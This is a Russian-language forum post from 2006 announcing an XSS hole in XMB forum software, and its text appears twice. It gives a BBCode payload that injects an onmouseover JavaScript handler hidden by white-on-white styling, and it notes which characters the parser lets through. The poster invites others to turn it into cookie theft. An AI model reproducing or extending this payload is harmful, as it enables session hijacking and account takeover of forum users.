Brahma
02.10.2006, 15:41
В последних XMB нашёл XSS, как нарыть куки с помощью этого дела - не сообразил, кто додумается - отпишитесь.
Собственно вот сам код (уберите знак *(звездочка) из тегов):
[url*][url*= onmouseover=a=String.fromCharCode(40,99,41,32,66,1 14,97,104,109,97);alert(a) style=`color:#fff;background:#fff;`][/url*][/url*]
Надеюсь вы заметили
style=`color:#fff;background:#fff;`
С помощью этой чтуки можно изменить стиль текста ссылки, тем самым замаскировать её.
Проверено на IE, Firefox, Opera (8.4) - всё прекрасно работает.
p.s. для тех, кто собирается рыть дальше в этой ХСС сразу скажу - форум не парсит бб теги, если в них присутствует: ' , ".
Парсит: < , >, &=& , =&nbsp;(ыыы)... и т.п.
Собственно вот сам код (уберите знак *(звездочка) из тегов):
[url*][url*= onmouseover=a=String.fromCharCode(40,99,41,32,66,1 14,97,104,109,97);alert(a) style=`color:#fff;background:#fff;`][/url*][/url*]
Надеюсь вы заметили
style=`color:#fff;background:#fff;`
С помощью этой чтуки можно изменить стиль текста ссылки, тем самым замаскировать её.
Проверено на IE, Firefox, Opera (8.4) - всё прекрасно работает.
p.s. для тех, кто собирается рыть дальше в этой ХСС сразу скажу - форум не парсит бб теги, если в них присутствует: ' , ".
Парсит: < , >, &=& , =&nbsp;(ыыы)... и т.п.